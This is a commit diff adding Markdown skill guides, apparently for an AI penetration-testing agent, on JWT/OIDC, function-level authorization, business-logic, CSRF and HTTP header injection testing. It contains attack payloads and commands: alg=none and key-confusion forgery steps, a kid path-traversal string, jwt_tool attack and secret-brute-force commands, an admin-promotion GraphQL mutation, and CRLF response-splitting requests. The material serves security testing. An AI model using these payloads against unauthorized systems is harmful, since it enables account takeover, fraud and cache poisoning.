first commit

strix/skills/vulnerabilities/authentication_jwt.md

@@ -0,0 +1,166 @@
+---
+name: authentication-jwt
+description: JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
+---
+
+# Authentication / JWT / OIDC
+
+JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.
+
+## Attack Surface
+
+- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
+- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
+- First-party and microservices verification, gateways, and JWKS distribution
+
+## Reconnaissance
+
+### Endpoints
+
+- Well-known: `/.well-known/openid-configuration`, `/oauth2/.well-known/openid-configuration`
+- Keys: `/jwks.json`, rotating key endpoints, tenant-specific JWKS
+- Auth: `/authorize`, `/token`, `/introspect`, `/revoke`, `/logout`, device code endpoints
+- App: `/login`, `/callback`, `/refresh`, `/me`, `/session`, `/impersonate`
+
+### Token Features
+
+- Headers: `{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}`
+- Claims: `{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}`
+- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option (`"b64":false`) and critical headers (`"crit"`)
+
+## Key Vulnerabilities
+
+### Signature Verification
+
+- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned
+- "none" algorithm acceptance: set `"alg":"none"` and drop the signature if libraries accept it
+- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures
+
+### Header Manipulation
+
+- **kid injection**: path traversal `../../../../keys/prod.key`, SQL/command/template injection in key lookup, or pointing to world-readable files
+- **jku/x5u abuse**: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
+- **jwk header injection**: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
+- **SSRF via remote key fetch**: exploit JWKS URL fetching to reach internal hosts
+
+### Key and Cache Issues
+
+- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
+- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
+- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs)
+
+### Claims Validation Gaps
+
+- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience
+- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak
+- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
+- typ/cty not enforced: accept ID token where access token required (token confusion)
+
+### Token Confusion and OIDC
+
+- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
+- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
+- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
+- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login
+- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
+
+### Refresh and Session
+
+- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
+- Long-lived JWTs with no revocation: persistent access post-logout
+- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
+
+### Transport and Storage
+
+- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
+- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
+- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device
+
+## Advanced Techniques
+
+### Microservices and Gateways
+
+- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
+- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
+- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
+
+### JWS Edge Cases
+
+- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
+- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
+
+## Special Contexts
+
+### Mobile
+
+- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
+- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
+
+### SSO Federation
+
+- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
+
+## Chaining Attacks
+
+- XSS → token theft → replay across services with weak audience checks
+- SSRF → fetch private JWKS → sign tokens accepted by internal services
+- Host header poisoning → OIDC redirect_uri poisoning → code capture
+- IDOR in sessions/impersonation endpoints → mint tokens for other users
+
+## Testing Methodology
+
+1. **Inventory issuers/consumers** - Identity providers, API gateways, services, mobile/web clients
+2. **Capture tokens** - Access and ID tokens for multiple roles; note header, claims, signature
+3. **Map verification endpoints** - `/.well-known`, `/jwks.json`
+4. **Build matrix** - Token Type × Audience × Service; attempt cross-use
+5. **Mutate components** - Headers (alg, kid, jku/x5u/jwk), claims (iss/aud/azp/sub/exp), signatures
+6. **Verify enforcement** - What is actually checked vs assumed
+
+## Validation
+
+1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS)
+2. Demonstrate access token vs ID token confusion at an API
+3. Prove refresh token reuse without rotation detection or revocation
+4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control
+5. Provide owner vs non-owner evidence with identical requests differing only in token context
+
+## False Positives
+
+- Token rejected due to strict audience/issuer enforcement
+- Key pinning with JWKS whitelist and TLS validation
+- Short-lived tokens with rotation and revocation on logout
+- ID token not accepted by APIs that require access tokens
+
+## Impact
+
+- Account takeover and durable session persistence
+- Privilege escalation via claim manipulation or cross-service acceptance
+- Cross-tenant or cross-application data access
+- Token minting by attacker-controlled keys or endpoints
+
+## Pro Tips
+
+1. Pin verification to issuer and audience; log and diff claim sets across services
+2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk)
+3. Test token reuse across all services; many backends only check signature, not audience/typ
+4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks
+5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up
+6. Try DPoP/mTLS absence to replay tokens from different devices
+7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping
+8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC
+9. Favor minimal PoCs that clearly show cross-context acceptance and durable access
+10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each
+
+## Tooling
+
+- `jwt_tool -t <url> -rh "Authorization: Bearer <token>" -M at` runs the
+  full attack matrix (alg=none, RS→HS confusion, kid injection, claim
+  edits) and reports which mutations the server still accepts.
+- `jwt_tool <token> -C -d <wordlist>` brute-forces HMAC secrets when an
+  HS-family signature is in use.
+- Use `jwt_tool` to mint a token under a key you control once you find an
+  acceptance path (kid/jku/x5u/jwk), then replay via `repeat_request`.
+
+## Summary
+
+Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.

strix/skills/vulnerabilities/broken_function_level_authorization.md

@@ -0,0 +1,154 @@
+---
+name: broken-function-level-authorization
+description: BFLA testing for action-level authorization failures across endpoints, admin functions, and API operations
+---
+
+# Broken Function Level Authorization (BFLA)
+
+BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.
+
+## Attack Surface
+
+- Vertical authz: privileged/admin/staff-only actions reachable by basic users
+- Feature gates: toggles enforced at edge/UI, not at core services
+- Transport drift: REST vs GraphQL vs gRPC vs WebSocket with inconsistent checks
+- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges
+- Background workers/jobs performing actions without re-checking authz
+
+## High-Value Actions
+
+- Role/permission changes, impersonation/sudo, invite/accept into orgs
+- Approve/void/refund/credit issuance, price/plan overrides
+- Export/report generation, data deletion, account suspension/reactivation
+- Feature flag toggles, quota/grant adjustments, license/seat changes
+- Security settings: 2FA reset, email/phone verification overrides
+
+## Reconnaissance
+
+### Surface Enumeration
+
+- Admin/staff consoles and APIs, support tools, internal-only endpoints exposed via gateway
+- Hidden buttons and disabled UI paths (feature-flagged) mapped to still-live endpoints
+- GraphQL schemas: mutations and admin-only fields/types; gRPC service descriptors (reflection)
+- Mobile clients often reveal extra endpoints/roles in app bundles or network logs
+
+### Signals
+
+- 401/403 on UI but 200 via direct API call; differing status codes across transports
+- Actions succeed via background jobs when direct call is denied
+- Changing only headers (role/org) alters access without token change
+
+## Key Vulnerabilities
+
+### Verb Drift and Aliases
+
+- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method
+- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)
+
+### Edge vs Core Mismatch
+
+- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF
+- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence
+
+### Feature Flag Bypass
+
+- Client-checked feature gates; call backend endpoints directly
+- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools
+
+### Batch Job Paths
+
+- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs
+- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller
+
+### Content-Type Paths
+
+- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser
+
+## Advanced Techniques
+
+### GraphQL
+
+- Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields
+- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms
+
+```graphql
+mutation Promote($id:ID!){
+  a: updateUser(id:$id, role: ADMIN){ id role }
+}
+```
+
+### gRPC
+
+- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role
+- Reflection lists services/methods; call admin methods that the gateway hid
+
+### WebSocket
+
+- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)
+- Try emitting privileged actions after joining standard channels
+
+### Multi-Tenant
+
+- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token
+
+### Microservices
+
+- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz
+
+## Bypass Techniques
+
+### Header Trust
+
+- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins
+
+### Route Shadowing
+
+- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains
+
+### Idempotency and Retries
+
+- Retry or replay finalize/approve endpoints that apply state without checking actor on each call
+
+### Cache Key Confusion
+
+- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps
+
+## Testing Methodology
+
+1. **Build Actor × Action matrix** - Unauth, basic, premium, staff/admin; enumerate actions per role
+2. **Obtain tokens/sessions** - For each role
+3. **Exercise every action** - Across all transports and encodings (JSON, form, multipart), including method overrides
+4. **Vary headers and selectors** - Org/tenant/project; test behind gateway vs direct-to-service
+5. **Include background flows** - Job creation/finalization, webhooks, queues; confirm re-validation
+
+## Validation
+
+1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails
+2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement
+3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success
+4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources
+
+## False Positives
+
+- Read-only endpoints mislabeled as admin but publicly documented
+- Feature toggles intentionally open to all roles for preview/beta with clear policy
+- Simulated environments where admin endpoints are stubbed with no side effects
+
+## Impact
+
+- Privilege escalation to admin/staff actions
+- Monetary/state impact: refunds/credits/approvals without authorization
+- Tenant-wide configuration changes, impersonation, or data deletion
+- Compliance and audit violations due to bypassed approval workflows
+
+## Pro Tips
+
+1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC
+2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings
+3. Inspect gateways for identity header injection; never trust client-provided identity
+4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor
+5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token
+
+## Summary
+
+Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.

strix/skills/vulnerabilities/business_logic.md

@@ -0,0 +1,178 @@
+---
+name: business-logic
+description: Business logic testing for workflow bypass, state manipulation, and domain invariant violations
+---
+
+# Business Logic Flaws
+
+Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.
+
+## Attack Surface
+
+- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
+- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
+- Authorization-by-logic: feature gates, role transitions, approval workflows
+- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing
+- Multi-tenant isolation: cross-organization data or action bleed
+- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency
+
+## High-Value Targets
+
+- Pricing/cart: price locks, quote to order, tax/shipping computation
+- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
+- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
+- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability
+- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting
+- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
+- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
+- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters
+
+## Reconnaissance
+
+### Workflow Mapping
+
+- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints
+- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions
+- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription)
+
+### Input Surface
+
+- Hidden fields and client-computed totals; server must recompute on trusted sources
+- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
+- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes
+
+### State and Time Axes
+
+- Replays: resubmit stale finalize/confirm requests
+- Out-of-order: call finalize before verify; refund before capture; cancel after ship
+- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges
+
+## Key Vulnerabilities
+
+### State Machine Abuse
+
+- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition
+- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
+- Split a single constrained action into many sub-actions under the threshold (limit slicing)
+
+### Concurrency and Idempotency
+
+- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
+- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
+- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund
+
+### Numeric and Currency
+
+- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
+- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
+- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails
+
+### Quotas, Limits, and Inventory
+
+- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
+- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
+- Distributed counters without strong consistency enabling double-consumption
+
+### Refunds and Chargebacks
+
+- Double-refund: refund via UI and support tool; refund partials summing above captured amount
+- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks
+
+### Feature Gates and Roles
+
+- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
+- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)
+
+## Advanced Techniques
+
+### Event-Driven Sagas
+
+- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
+- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
+- Cron/backfill jobs operating outside request-time authorization; mutate state broadly
+
+### Microservices Boundaries
+
+- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
+- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
+- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state
+
+### Multi-Tenant Isolation
+
+- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
+- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement
+
+## Bypass Techniques
+
+- Content-type switching (JSON/form/multipart) to hit different code paths
+- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
+- Client recomputation: totals, taxes, discounts computed on client and accepted by server
+- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware
+
+## Special Contexts
+
+### E-commerce
+
+- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
+- Modify shipping tier post-quote; abuse returns to keep product and refund
+
+### Banking/Fintech
+
+- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
+- Exploit grace periods on holds/authorizations to withdraw again before settlement
+
+### SaaS/B2B
+
+- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
+- Usage metering: report late or duplicate usage to avoid billing or to over-consume
+
+## Chaining Attacks
+
+- Business logic + race: duplicate benefits before state updates
+- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
+- Business logic + CSRF: force a victim to complete a sensitive step sequence
+
+## Testing Methodology
+
+1. **Enumerate state machine** - Per critical workflow (states, transitions, pre/post-conditions); note invariants
+2. **Build Actor × Action × Resource matrix** - Unauth, basic user, premium, staff/admin; identify actions per role
+3. **Test transitions** - Step skipping, repetition, reordering, late mutation
+4. **Introduce variance** - Time, concurrency, channel (mobile/web/API/GraphQL), content-types
+5. **Validate persistence boundaries** - All services, queues, and jobs re-enforce invariants
+
+## Validation
+
+1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas)
+2. Provide side-by-side evidence for intended vs abused flows with the same principal
+3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views)
+4. Quantify impact per action and at scale (unit loss × feasible repetitions)
+
+## False Positives
+
+- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
+- Visual-only inconsistencies with no durable or exploitable state change
+- Admin-only operations with proper audit and approvals
+
+## Impact
+
+- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
+- Regulatory/contractual violations (billing accuracy, consumer protection)
+- Denial of inventory/services to legitimate users through resource exhaustion
+- Privilege retention or unauthorized access to premium features
+
+## Pro Tips
+
+1. Start from invariants and ledgers, not UI—prove conservation of value breaks
+2. Test with time and concurrency; many bugs only appear under pressure
+3. Recompute totals server-side; never accept client math—flag when you observe otherwise
+4. Treat idempotency and retries as first-class: verify key scope and persistence
+5. Probe background workers and webhooks separately; they often skip auth and rule checks
+6. Validate role/feature gates at the service that mutates state, not only at the edge
+7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues
+8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss
+9. Chain with authorization tests (IDOR/Function-level access) to magnify impact
+10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards
+
+## Summary
+
+Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.

strix/skills/vulnerabilities/csrf.md

@@ -0,0 +1,198 @@
+---
+name: csrf
+description: CSRF testing covering token bypass, SameSite cookies, CORS misconfigurations, and state-changing request abuse
+---
+
+# CSRF
+
+Cross-site request forgery abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.
+
+## Attack Surface
+
+**Session Types**
+- Web apps with cookie-based sessions and HTTP auth
+- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints
+
+**Authentication Flows**
+- Login/logout, password/email change, MFA toggles
+
+**OAuth/OIDC**
+- Authorize, token, logout, disconnect/connect endpoints
+
+## High-Value Targets
+
+- Credentials and profile changes (email/password/phone)
+- Payment and money movement, subscription/plan changes
+- API key/secret generation, PAT rotation, SSH keys
+- 2FA/TOTP enable/disable; backup codes; device trust
+- OAuth connect/disconnect; logout; account deletion
+- Admin/staff actions and impersonation flows
+- File uploads/deletes; access control changes
+
+## Reconnaissance
+
+### Session and Cookies
+
+- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None)
+- Lax allows cookies on top-level cross-site GET; None requires Secure
+- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone)
+
+### Token and Header Checks
+
+- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers)
+- Test removal, reuse across requests, reuse across sessions, binding to method/path
+- Verify server checks Origin and/or Referer on state changes
+- Test null/missing and cross-origin values
+
+### Method and Content-Types
+
+- Confirm whether GET, HEAD, or OPTIONS perform state changes
+- Try simple content-types to avoid preflight: `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`
+- Probe parsers that auto-coerce `text/plain` or form-encoded bodies into JSON
+
+### CORS Profile
+
+- Identify `Access-Control-Allow-Origin` and `-Credentials`
+- Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration
+- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge
+
+## Key Vulnerabilities
+
+### Navigation CSRF
+
+- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced
+- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks
+
+### Simple Content-Type CSRF
+
+- `application/x-www-form-urlencoded` and `multipart/form-data` POSTs do not require preflight
+- `text/plain` form bodies can slip through validators and be parsed server-side
+
+### JSON CSRF
+
+- If server parses JSON from `text/plain` or form-encoded bodies, craft parameters to reconstruct JSON
+- Some frameworks accept JSON keys via form fields (e.g., `data[foo]=bar`) or treat duplicate keys leniently
+
+### Login/Logout CSRF
+
+- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker's account
+- Login CSRF: submit attacker credentials to victim's browser; later actions occur under attacker's account
+
+### OAuth/OIDC Flows
+
+- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks
+- Exploit relaxed SameSite on top-level navigations
+- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations
+
+### File and Action Endpoints
+
+- File upload/delete often lack token checks; forge multipart requests to modify storage
+- Admin actions exposed as simple POST links are frequently CSRFable
+
+### GraphQL CSRF
+
+- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads
+- Batched operations may hide mutations within a nominally safe request
+
+### WebSocket CSRF
+
+- Browsers send cookies on WebSocket handshake
+- Enforce Origin checks server-side; without them, cross-site pages can open authenticated sockets and issue actions
+
+## Bypass Techniques
+
+### SameSite Nuance
+
+- Lax-by-default cookies are sent on top-level cross-site GET but not POST
+- Exploit GET state changes and GET-based confirmation steps
+- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices
+
+### Origin/Referer Obfuscation
+
+- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null
+- `about:blank`/`data:` URLs alter Referer
+- Ensure server requires explicit Origin/Referer match
+
+### Method Override
+
+- Backends honoring `_method` or `X-HTTP-Method-Override` may allow destructive actions through a simple POST
+
+### Token Weaknesses
+
+- Accepting missing/empty tokens
+- Tokens not tied to session, user, or path
+- Tokens reused indefinitely; tokens in GET
+- Double-submit cookie without Secure/HttpOnly, or with predictable token sources
+
+### Content-Type Switching
+
+- Switch between form, multipart, and `text/plain` to reach different code paths
+- Use duplicate keys and array shapes to confuse parsers
+
+### Header Manipulation
+
+- Strip Referer via meta refresh or navigate from `about:blank`
+- Test null Origin acceptance
+- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens
+
+## Special Contexts
+
+### Mobile/SPA
+
+- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links
+- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable
+
+### Integrations
+
+- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff
+- Confirm CSRF defenses there too
+
+## Chaining Attacks
+
+- CSRF + IDOR: force actions on other users' resources once references are known
+- CSRF + Clickjacking: guide user interactions to bypass UI confirmations
+- CSRF + OAuth mix-up: bind victim sessions to unintended clients
+
+## Testing Methodology
+
+1. **Inventory endpoints** - All state-changing endpoints including admin/staff
+2. **Note request details** - Method, content-type, whether reachable via simple requests
+3. **Assess session model** - Cookies with SameSite attrs, custom headers, tokens
+4. **Check defenses** - Anti-CSRF tokens and Origin/Referer enforcement
+5. **Attempt preflightless delivery** - Form POST, text/plain, multipart/form-data
+6. **Test navigation** - Top-level GET navigation
+7. **Cross-browser validation** - Behavior differs by SameSite and navigation context
+
+## Validation
+
+1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting
+2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified
+3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch)
+4. Provide before/after state evidence for the same account
+5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin)
+
+## False Positives
+
+- Token verification present and required; Origin/Referer enforced consistently
+- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests
+- Only idempotent, non-sensitive operations affected
+
+## Impact
+
+- Account state changes (email/password/MFA), session hijacking via login CSRF
+- Financial operations, administrative actions
+- Durable authorization changes (role/permission flips, key rotations) and data loss
+
+## Pro Tips
+
+1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available
+2. Test login/logout, OAuth connect/disconnect, and account linking first
+3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them
+4. Toggle SameSite and observe differences across navigation vs XHR
+5. For GraphQL, attempt GET queries or persisted queries that carry mutations
+6. Always try method overrides and parser differentials
+7. Combine with clickjacking when visual confirmations block CSRF
+
+## Summary
+
+CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller's origin. Tokens and Origin checks must hold across methods, content-types, and transports.

strix/skills/vulnerabilities/header_injection.md

@@ -0,0 +1,210 @@
+---
+name: header-injection
+description: HTTP header injection testing covering CRLF / response splitting, cache poisoning, Host-header confusion, cookie fixation, and proxy / forwarding header smuggling
+---
+
+# HTTP Header Injection
+
+Header injection turns user input into protocol-level control: response splitting, cache poisoning, session fixation, authentication bypass, and request smuggling all trace back to a server-controlled header value that wasn't normalized. The bug usually lives in middle layers — frameworks that copy a request value into a response header, proxies that trust forwarded headers, caches keyed on something the attacker influences. Treat any user-controlled value that reaches a header as code-execution-equivalent until proven otherwise.
+
+## Attack Surface
+
+**Input shapes that reach headers**
+- Query/body/path values echoed into `Set-Cookie`, `Location`, `Content-Type`, `Content-Disposition`, `Link`, custom `X-*`
+- Request headers re-emitted into responses (Referer, User-Agent, X-Forwarded-*, custom correlation IDs)
+- Webhook / callback flows where the server constructs outbound requests using user-supplied URLs (Host, Referer)
+- Outbound email headers (To/From/Subject) populated from user input
+
+**Code patterns that enable injection**
+- Direct concatenation of user input into header values without CR/LF stripping
+- Frameworks that accept header values as strings and serialize verbatim (no normalization)
+- Proxy chains trusting `X-Forwarded-*` / `Forwarded` / `X-Real-IP` set by an upstream that anyone can spoof
+- `X-HTTP-Method-Override` and similar method-shaping headers respected past auth layers
+
+**Transports and parser layers**
+- HTTP/1.0, HTTP/1.1, HTTP/2, HTTP/3 each parse framing differently
+- CDN / reverse proxy → application server (where each side may disagree on framing)
+- Chunked transfer encoding boundaries and multipart/form-data delimiters
+
+## High-Value Targets
+
+- Password-reset and account-recovery flows (Host header determines the link sent to the user)
+- OAuth / SSO redirect endpoints (`Location`, `redirect_uri` echoes)
+- Auth gateways that trust `X-Forwarded-For` / `X-Real-IP` for IP allowlists or rate limits
+- CDN / WAF caches (poisoning a public cache with a per-user response)
+- Multi-tenant routing keyed on Host or `X-Tenant-Id`
+- File-download endpoints (`Content-Disposition` filename derived from user input)
+- Outbound notification / email systems where user input lands in the message header
+
+## Reconnaissance
+
+### Header Inventory
+
+- Enumerate every response header that varies with input — flip query / body / cookie values and diff `Set-Cookie`, `Location`, `Content-Type`, `Content-Disposition`, `ETag`, `Vary`, custom `X-*`
+- For each varying header, identify the source field (user-controlled vs. server-derived)
+- Look for request headers reflected into responses (Referer in error pages, User-Agent in correlation IDs, X-Forwarded-Host echoed back)
+
+### CR/LF and Whitespace Variants
+
+- Bare LF (`%0a`), bare CR (`%0d`), CRLF (`%0d%0a`)
+- Double encoding (`%250d%250a`) for WAFs that decode once
+- Overlong UTF-8 of CR/LF (`%c0%8d`, `%c0%8a`) — invalid per spec but accepted by some parsers
+- Unicode line/paragraph separators (`%e2%80%a8` U+2028, `%e2%80%a9` U+2029) — sometimes folded to LF by intermediaries
+- Tab (`%09`) — RFC 7230 allows tabs in field values, useful for sneaking past simple `\s+` filters
+- Null byte (`%00`) — can truncate the header value in some parsers
+
+### Parser and Server Fingerprinting
+
+- `Server`, `Via`, `X-Powered-By`, `X-AspNet-Version`, `X-Served-By`, `CF-Ray`, `X-Amzn-RequestId` reveal the stack
+- `Vary`, `Age`, `X-Cache`, `CF-Cache-Status` reveal caching layer and key composition
+- Same payload over HTTP/1.1 vs HTTP/2 vs chunked — diff status, headers, body length to map parsing differences
+- Compare `Host` and `X-Forwarded-Host` precedence: send both with different values and observe which wins in redirects, links, log entries
+
+## Key Vulnerabilities
+
+### CRLF Response Splitting and Smuggling
+
+Inject `\r\n\r\n` to terminate the current response and prepend a second attacker-controlled response. Cache or downstream proxy may key on the first response and serve the second to other users.
+
+```
+GET /redirect?to=foo%0d%0aSet-Cookie:%20admin=1%0d%0a%0d%0a<html>poisoned</html> HTTP/1.1
+```
+
